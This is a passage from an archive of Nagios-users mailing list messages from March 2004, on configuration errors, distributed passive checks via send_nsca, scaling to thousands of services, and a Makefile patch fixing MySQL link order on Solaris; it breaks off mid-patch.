supporting info will risk being sent to /dev/null From jamie+gmane at silverdream.org Thu Mar 11 05:48:17 2004 From: jamie+gmane at silverdream.org (Jamie Penman-Smithson) Date: Thu, 11 Mar 2004 04:48:17 +0000 Subject: No services defined Message-ID: Hey all, I recently added a few hosts/services, and restarted nagios - now all it says is that there are no services, hosts, etc. defined, when they are. I'm using the MySQL backend, with nagios 1.2. root at evenstar:/etc/nagios# nagios -v /etc/nagios/nagios.cfg Nagios 1.2 Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) Last Modified: 02-02-2004 License: GPL Reading configuration data... Running pre-flight check on configuration data... Checking services... Error: There are no services defined! Checked 0 services. Checking hosts... Error: There are no hosts defined! Checked 0 hosts. Checking host groups... Error: There are no host groups defined! Checked 0 host groups. Checking contacts... Error: There are no contacts defined! Checked 0 contacts. Checking contact groups... Error: There are no contact groups defined! Checked 0 contact groups. Checking service escalations... Checked 0 service escalations. Checking host group escalations... Checked 0 host group escalations. etc. etc. ... It doesn't list any line numbers as being incorrect, and I haven't been able to find a debug option for nagios. The strangest thing is that it worked fine, up until I restarted it, and if my additional hosts/services were incorrect, surely it would have said something different to "no services defined"..? Is there anyway to get it to display more verbose info? TIA -- -jamie | spamtrap: spam at silverdream.org w: http://silverdream.org | p: sms at silverdream.org pgp key @ http://silverdream.org/~jps/pub.key 04:30:01 up 7 days, 13:50, 11 users, load average: 0.16, 0.32, 0.38 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at nagios.org Thu Mar 11 06:55:46 2004 From: nagios at nagios.org (Ethan Galstad) Date: Wed, 10 Mar 2004 23:55:46 -0600 Subject: Distributed Woes - Passive Check Results not being submitted to Master In-Reply-To: <002c01c40721$2958d7e0$cbe8fea9@core> References: <002c01c40721$2958d7e0$cbe8fea9@core> Message-ID: <404FAB02.17415.190D5EB@localhost> The problem is likely with /bin/echo being used in the submit_check_result script. I have replaced the example in CVS to use printf for better portability. Use the following lines of code in the script instead of what's posted online in the docs. I'll update the docs on the site to reflect the new code. -- BEGIN -- printfcmd="/bin/printf" NscaBin="/usr/local/nagios/libexec/send_nsca" NscaCfg="/usr/local/nagios/etc/send_nsca.cfg" NagiosHost="nagioshost" # Fire the data off to the NSCA daemon using the send_nsca script $printfcmd "%s\t%s\t%s\t%s\n" "$1" "$2" "$3" "$4" | $NscaBin $NagiosHost -c $NscaCfg -- END -- On 11 Mar 2004 at 4:27, AJ McKee wrote: > Hi All, > > Okay so its 4:30am so I may be missing something really silly here but > here goes. > > I have 2 servers, both running Nagios 1.2. One Is the master and one > the slave. The slave host has been configured in accordance with the > docs @ http://nagios.sourceforge.net/docs/1_0/distributed.html as has > the master and I have used the scripts found in the Nagios source > directory under contrib/eventhandlers (the distributed ones) > > On the slave OCSP is set to 1 and the command is set up to either one > of the following event handlers in misccommands.cfg > > define command{ > command_name submit_check_result > command_line > /usr/local/nagios/libexec/eventhandlers/submit_check_result $HOSTNAME$ > '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' > } > define command{ > command_name obsessive_svc_handler > command_line > /usr/local/nagios/libexec/eventhandlers/obsessive_svc_handler > $HOSTNAME$ '$SERVICEDESC$' $SERVICESTATE$ '$OUTPUT$' > } > > I have used a config with both of these at one stage or another. I > have installed NSCA and tested communicatins between both hosts. All > fine. I have called the scripts from the slave and sent data to the > master server and seen the information appear there no problem. So the > scripts are fine. > > Now when I am running Nagios on the slave, it does not submit data > back to the Master. Tcpdump show nothing, I can see anything in the > logs on either host especially on the Master where I should see the > passive service check data. > > So obvisouly I have done something wrong. Anyone got any ideas? Any > hellp welcomed & valued > > Yours > AJ > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ Nagios-users mailing > list Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please > include Nagios version, plugin version (-v) and OS when reporting any > issue. ::: Messages without supporting info will risk being sent to > /dev/null > Ethan Galstad, Nagios Developer --- Email: nagios at nagios.org Website: http://www.nagios.org ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From r.kowallick at fhbb.ch Thu Mar 11 11:15:12 2004 From: r.kowallick at fhbb.ch (R. Kowallick) Date: Thu, 11 Mar 2004 11:15:12 +0100 Subject: network with 70 switches and routers Message-ID: <000201c40751$bdf37150$125c010a@staff.bb.fhnw.ch> hello I am completely new to nagios. I have a network with about 70 switches and routers from cisco. 1. Is it sensible or possible to use nagios with cisco devices. 2. My boss wants to know how many hours it takes to work oneself into the subject and to integrate these 70 devices into nagios, if you are completely new to nagios. Has someone experience ? Thanks in advance regards Ralph ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Thu Mar 11 13:01:26 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: 11 Mar 2004 12:01:26 +0000 Subject: Nagios performances In-Reply-To: <200403101638.22683.vincent@ahoup.net> References: <200403101638.22683.vincent@ahoup.net> Message-ID: <1079006486.7455.3.camel@floyd> On Wed, 2004-03-10 at 15:38, Vincent Derrien wrote: > Hello, > > I want to supervise a network with Nagios. I have a Pentium IV with 512mo of > memory and a 100mb LAN. I would like to know how many computer (with each 10 > or 20 services) i can supervise ? And do you know benchmark about this ? I've got a P4 here with 256MB RAM on a 100 Mbit network monitoring 182 services across 89 hosts, and this runs at 0-4% CPU and I can use it as my desktop at the same time. CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From noah at mac.com Thu Mar 11 13:52:00 2004 From: noah at mac.com (Noah Leaman) Date: Thu, 11 Mar 2004 04:52:00 -0800 Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: Hopes it's o.k. cross posting to both groups on this matter... Using the concept of one service per up/down trap for each network interface, I tested a little by creating a very simple set of nagios configs, but with about 8000 PASSIVE service checks and no active service checks. of course there was no problem in terms of scheduling issues, but the CGIs all crawled to a snails pace. In my setup (nagios 1.2, Dual G4 first-gen xServe) it takes about 30 secs to display the Status Summary page. Of course that config setup isn't the actual production plan... I enabled the closer to real-world configs: 552 check_traffic (2 snmpgets running every 10 minutes per service check storing to an RRD) 295 check_ping (number of locally monitored hosts) 8389 check_dummy (mostly the up/down Trap and about 100 are passive services coming from 2 other distributed nagios servers doing pings and check_traffics) ... So 9236 services all together but this is really just a small subset of what I would like to be able to do. The plan is to through hardware at it to spread out the real work being done (i.e. the active checks). But with just this setup, a single CGI take up an entire CPU to run and for a few minutes a lot of the time... and the plan was to have a good handful of GUI users (5 ish at a time)... it's just about unusable with one GUI user. How to monitor traps for hundreds of network hosts and tens of thousands different interfaces each of which could generate up/down traps along with other traps. I tried setting up a single "catch-all" trap service per host, but notification would need to occur when going from and OK to another OK (with a different output). Shouldn't this work with is_volatile on and stalking_options set to o,w,u,c (every test I've done to get this working from OK to OK doesn't work... but maybe I missed something). So the higher level question here is am I over my head in what or how I can do this with nagios? After tackling the network monitoring needs, the plan was to then start the server monitoring (around 1000 servers of many platforms). Any helpful guidance? -- Noah On Wednesday, March 10, 2004, at 06:51 PM, Noah Leaman wrote: > I have over 70,000 interfaces/ports (just the up/up ones) for which I > could receive linkDown and linkUp traps for. And this is just a > sampling of hosts on our network to pilot nagios to see if it can do > what we want. Doesn't it seem a little crazy to have to deal with that > many services even if they are passive? And this is just linkDown and > linkUp. What about all other possible traps that could be received? > > -- > Noah > > > On Friday, March 5, 2004, at 01:15 AM, Jim Mozley wrote: > >> Noah Leaman wrote: >> >>> How do you all address the issue of trap monitoring when you want >>> notifications for them? >> >> I have done something similar with interfaces, the only way I know is >> to define each interface as a service. I realise this is potentially >> a lot of services. We do this on core network device interfaces, but >> only define services for interfaces that are in use. This is an >> automated process so as interfaces are activated/deactivated they are >> added or removed from the Nagios configuration files. As the only >> alerts are passive ones for these services, it isn't as though one is >> introducing something like a vast increase in active checks. >> >> HTH, >> >> Jim Mozley >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. ::: Messages without supporting info will risk >> being sent to /dev/null >> > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From andreas at wassatsch.de Thu Mar 11 13:44:16 2004 From: andreas at wassatsch.de (Andreas Wassatsch) Date: Thu, 11 Mar 2004 13:44:16 +0100 (CET) Subject: extended service information / apan not shown Message-ID: <31969.208.197.32.16.1079009056.squirrel@mail.wassatsch.de> Hi all, I'm trying to get apan-sql working with nagios. apan works, but Nagios won't display the apan-icon given in the extended service information. Interestingly if the apan-link is included in the extended *host* info, the icon shows up. Any hint to make nagios display the ext. *service* info correctly too ? This happens with both nagios-1.2 and nagios-1-x-cvs, both compiled with: configure --with-template-objects --with-template-extinfo --with-mysql-status --with-mysql-comments --with-mysql-retention --with-mysql-downtime : External Data Routines: ------------------------ Status data: Database (MySQL) Object data: Template-based (text file) Comment data: Database (MySQL) Downtime data: Database (MySQL) Retention data: Database (MySQL) Peformance data: Default (external commands) Extended info data: Template-based (text file) my config: ---------- # cat cgi.cfg | grep ^xed xedtemplate_config_file=/opt/nagios/etc/hostextinfo.cfg xedtemplate_config_file=/opt/nagios/etc/serviceextinfo.cfg # more serviceextinfo.cfg define serviceextinfo { host_name heinbloed service_description ping notes_url /nagios/cgi-bin/apan-sql.cgi?host=heinbloed&service=ping icon_image graph.png icon_image_alt View Apan-graphs } # more hostextinfo.cfg define hostextinfo { host_name heinbloed notes_url /nagios/cgi-bin/apan-sql.cgi?host=heinbloed&service=ping icon_image graph.png icon_image_alt Apan-graphs } Andreas -- Andreas Wassatsch LPIC-2 using Linux since 0.99pl10 gpg-id: 0x5AC8EA6C ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gora at wittmann.sk Thu Mar 11 13:39:39 2004 From: gora at wittmann.sk (=?windows-1250?Q?Dezider_G=F3ra?=) Date: Thu, 11 Mar 2004 13:39:39 +0100 Subject: Nagios and apcupsd monitoring Message-ID: <40505E0B.80204@wittmann.sk> I searched a while, but haven't found any info about plugin to support apcupsd. The only thing I've found was about nut, baut I use apcupsd on my linux and windows servers to control apc ups'. Does anyone have some work done on this? Hints, gotchas warmly welcome. thankx in advance, Dezider. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gijs.wuyts at ubizen.com Thu Mar 11 13:52:55 2004 From: gijs.wuyts at ubizen.com (Gijs Wuyts) Date: Thu, 11 Mar 2004 12:52:55 +0000 Subject: Nag- ging error : Could not read host and service information! Message-ID: <40506127.2010703@ubizen.com> 1. both httpd and nagios are running, and nagios is actively collecting info 2. log files do not show any error messages 3. pre-flight check (nagios -v) shows no errors This leaves me 2 possible errors I think: - permissions -->I've set all concerned directories and files to the user running nagios - difference between txt file and db --> I've not given any DB-parameters during configure, and the /var/log/nagios/nagios.log and /opt/nagios/var/status.sav file is filling up nicely All help/hints is welcome tnks Gijs ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From daniel at unity.ncsu.edu Thu Mar 11 14:34:51 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Thu, 11 Mar 2004 08:34:51 -0500 (EST) Subject: Large scale network monitoring limits with nagios In-Reply-To: References: Message-ID: > So the higher level question here is am I over my head in what or how I > can do this with nagios? After tackling the network monitoring needs, > the plan was to then start the server monitoring (around 1000 servers > of many platforms). Well, we have about 1000-odd service checks right now and the standard nagios interfaces tend to be rather slow because of it. (I can't imagine the number you are dealing with) What we ended up doing is not having people use the real nagios interfaces, but instead wrote our own. All of the status data is stored in mysql (i don't know what you chose at compile time) so it is fairly easy to get at remotely. Our interfaces run on a completely separate box and just connect to the local mysql server on the nagios server, pull what information they need (or pull all of it and parse through what they care about), and it seems to run pretty smoothly. I can't say how well that would fly with 8000+ hosts. If it runs slow with 8000+ hosts, you might want to run a job that generates a static page, that gets auto-regenerated "as often as possible". That way, at least there's only one connection that has to wait a long time, and the folk connecting to your interface would only have to wait on the brief static page load. Might not have been the answer you were looking for. =) Daniel -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From atrinh at ureach.com Thu Mar 11 14:06:29 2004 From: atrinh at ureach.com (Alvin Anh Trinh) Date: Thu, 11 Mar 2004 08:06:29 -0500 Subject: unable to compile nagios with --with-mysql-xdata Message-ID: <200403111306.IAA22335@www20.ureach.com> Hi, I'm trying to compile nagios 1.2 with mysql support on Solaris 8. After I executed "make all", I received the following error: bash-2.03# make all cd ./base && make gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c checks.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c config.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c commands.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c flapping.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c logging.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c notifications.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c sehandlers.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c utils.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c sretention.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -c perfdata.c gcc -g -O2 -I/opt/local/mysql/include -DHAVE_CONFIG_H -DNSCORE -L/opt/local/mysql/lib -lmysqlclient nagios.c checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o sretention.o ../xdata/xrddb.c ../common/comments.c ../xdata/xcddb.c ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddb.c perfdata.o ../xdata/xpddefault.c ../common/downtime.c ../xdata/xdddb.c -lm -o nagios Undefined first referenced symbol in file mysql_close /var/tmp//ccKcu3wT.o mysql_free_result /var/tmp//ccKcu3wT.o mysql_fetch_row /var/tmp//ccKcu3wT.o mysql_real_connect /var/tmp//ccKcu3wT.o mysql_insert_id /var/tmp//cclmbfkx.o mysql_errno /var/tmp//cctoKXi1.o mysql_store_result /var/tmp//ccKcu3wT.o mysql_query /var/tmp//ccKcu3wT.o mysql_init /var/tmp//ccKcu3wT.o ld: fatal: Symbol referencing errors. No output written to nagios collect2: ld returned 1 exit status *** Error code 1 make: Fatal error: Command failed for target `nagios' Current working directory /opt/src/tools/nagios-1.2/base *** Error code 1 make: Fatal error: Command failed for target `all' bash-2.03# Any ideas? Thanks in advance, A. ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From daniel at unity.ncsu.edu Thu Mar 11 14:37:42 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Thu, 11 Mar 2004 08:37:42 -0500 (EST) Subject: unable to compile nagios with --with-mysql-xdata In-Reply-To: <200403111306.IAA22335@www20.ureach.com> References: <200403111306.IAA22335@www20.ureach.com> Message-ID: > ld: fatal: Symbol referencing errors. No output written to > nagios > collect2: ld returned 1 exit status > *** Error code 1 > make: Fatal error: Command failed for target `nagios' > Current working directory /opt/src/tools/nagios-1.2/base > *** Error code 1 > make: Fatal error: Command failed for target `all' > bash-2.03# Same deal as the other thread I was talking in, the mysqlclient library is "out of place". It needs to come after the objects that depend on it. I've attached the patch I put together to get around this. It should be applied to the fresh 1.2 source code. Hope it works out for you. Daniel -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" -------------- next part -------------- diff -Ncr nagios-1.2.orig/base/Makefile.in nagios-1.2/base/Makefile.in *** nagios-1.2.orig/base/Makefile.in 2002-11-10 22:52:13.000000000 -0500 --- nagios-1.2/base/Makefile.in 2003-09-09 13:35:39.000000000 -0400 *************** *** 88,94 **** OBJS=checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o $(RDATALIBS) $(CDATALIBS) $(ODATALIBS) $(SDATALIBS) $(PDATALIBS) $(DDATALIBS) $(BASEEXTRALIBS) $(SNPRINTF_O) nagios: nagios.c $(OBJS) nagios.h $(SRC_COMMON)/locations.h ! $(CC) $(CFLAGS) $(LDFLAGS) nagios.c $(OBJS) $(PERLLIBS) $(MATHLIBS) -o $@ #$(SRC_COMMON)/locations.h: $(SRC_COMMON)/locations.sub # perl -pe 's|\$${prefix}|${prefix}|g;s|\$${exec_prefix}|${exec_prefix}|g;s|\$${htmurl}|$(HTMURL)|g;s|\$${cgiurl}|$(CGIURL)|g;' $(SRC_COMMON)/locations.sub > $(SRC_COMMON)/locations.h --- 88,94 ---- OBJS=checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o $(RDATALIBS) $(CDATALIBS) $(ODATALIBS) $(SDATALIBS) $(PDATALIBS) $(DDATALIBS) $(BASEEXTRALIBS) $(SNPRINTF_O) nagios: nagios.c $(OBJS) nagios.h $(SRC_COMMON)/locations.h ! $(CC) $(CFLAGS) nagios.c $(OBJS) $(LDFLAGS) $(PERLLIBS) $(MATHLIBS) -o $@ #$(SRC_COMMON)/locations.h: $(SRC_COMMON)/locations.sub # perl -pe 's|\$${prefix}|${prefix}|g;s|\$${exec_prefix}|${exec_prefix}|g;s|\$${htmurl}|$(HTMURL)|g;s|\$${cgiurl}|$(CGIURL)|g;' $(SRC_COMMON)/locations.sub > $(SRC_COMMON)/locations.h diff -Ncr nagios-1.2.orig/cgi/Makefile.in nagios-1.2/cgi/Makefile.in *** nagios-1.2.orig/cgi/Makefile.in 2002-08-25 19:53:00.000000000 -0400 --- nagios-1.2/cgi/Makefile.in 2003-09-09 13:38:03.000000000 -0400 *************** *** 95,152 **** $(COMMENTLIBS): $(COMMENTHDRS) avail.cgi: avail.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) avail.c $(CGILIBS) -o $@ checksanity.cgi: checksanity.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) checksanity.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) -o $@ cmd.cgi: cmd.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) cmd.c $(CGILIBS) $(CDATALIBS) $(DDATALIBS) -o $@ config.cgi: config.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) config.c $(CGILIBS) -o $@ extinfo.cgi: extinfo.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) extinfo.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) -o $@ history.cgi: history.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) history.c $(CGILIBS) $(LIFOLIBS) -o $@ ministatus.cgi: ministatus.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) ministatus.c $(CGILIBS) -o $@ notifications.cgi: notifications.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) notifications.c $(CGILIBS) $(LIFOLIBS) -o $@ outages.cgi: outages.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) outages.c $(CGILIBS) $(CDATALIBS) -o $@ showlog.cgi: showlog.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) showlog.c $(CGILIBS) $(LIFOLIBS) -o $@ status.cgi: status.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) status.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) -o $@ statuswml.cgi: statuswml.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statuswml.c $(CGILIBS) -o $@ statusmap.cgi: statusmap.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statusmap.c $(CGILIBS) $(GDLIBS) $(EDATALIBS) -o $@ statuswrl.cgi: statuswrl.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statuswrl.c $(CGILIBS) $(MATHLIBS) $(EDATALIBS) -o $@ summary.cgi: summary.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) summary.c $(CGILIBS) -o $@ tac.cgi: tac.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) tac.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) -o $@ trends.cgi: trends.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) trends.c $(CGILIBS) $(GDLIBS) -o $@ histogram.cgi: histogram.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) histogram.c $(CGILIBS) $(GDLIBS) -o $@ clean: rm -f $(CGIS) *.o *.cfg *.sub core --- 95,152 ---- $(COMMENTLIBS): $(COMMENTHDRS) avail.cgi: avail.c $(CGIDEPS) ! $(CC) $(CFLAGS) avail.c $(CGILIBS) $(LDFLAGS) -o $@ checksanity.cgi: checksanity.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) checksanity.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ cmd.cgi: cmd.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) cmd.c $(CGILIBS) $(CDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ config.cgi: config.c $(CGIDEPS) ! $(CC) $(CFLAGS) config.c $(CGILIBS) $(LDFLAGS) -o $@ extinfo.cgi: extinfo.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) extinfo.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ history.cgi: history.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) history.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ ministatus.cgi: ministatus.c $(CGIDEPS) ! $(CC) $(CFLAGS) ministatus.c $(CGILIBS) $(LDFLAGS) -o $@ notifications.cgi: notifications.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) notifications.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ outages.cgi: outages.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) outages.c $(CGILIBS) $(CDATALIBS) $(LDFLAGS) -o $@ showlog.cgi: showlog.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) showlog.c $(CGILIBS) $(LIFOLIBS) $(LDFLAGS) -o $@ status.cgi: status.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) status.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(LDFLAGS) -o $@ statuswml.cgi: statuswml.c $(CGIDEPS) ! $(CC) $(CFLAGS) statuswml.c $(CGILIBS) $(LDFLAGS) -o $@ statusmap.cgi: statusmap.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) statusmap.c $(CGILIBS) $(GDLIBS) $(EDATALIBS) $(LDFLAGS) -o $@ statuswrl.cgi: statuswrl.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) statuswrl.c $(CGILIBS) $(MATHLIBS) $(EDATALIBS) $(LDFLAGS) -o $@ summary.cgi: summary.c $(CGIDEPS) ! $(CC) $(CFLAGS) summary.c $(CGILIBS) $(LDFLAGS) -o $@ tac.cgi: tac.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) tac.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(LDFLAGS) -o $@ trends.cgi: trends.c $(CGIDEPS) ! $(CC) $(CFLAGS) trends.c $(CGILIBS) $(GDLIBS) $(LDFLAGS) -o $@ histogram.cgi: histogram.c $(CGIDEPS) ! $(CC) $(CFLAGS) histogram.c $(CGILIBS) $(GDLIBS) $(LDFLAGS) -o $@ clean: rm -f $(CGIS) *.o *.cfg *.sub core diff -Ncr nagios-1.2.orig/configure nagios-1.2/configure *** nagios-1.2.orig/configure 2003-06-02 23:47:57.000000000 -0400 --- nagios-1.2/configure 2003-09-09 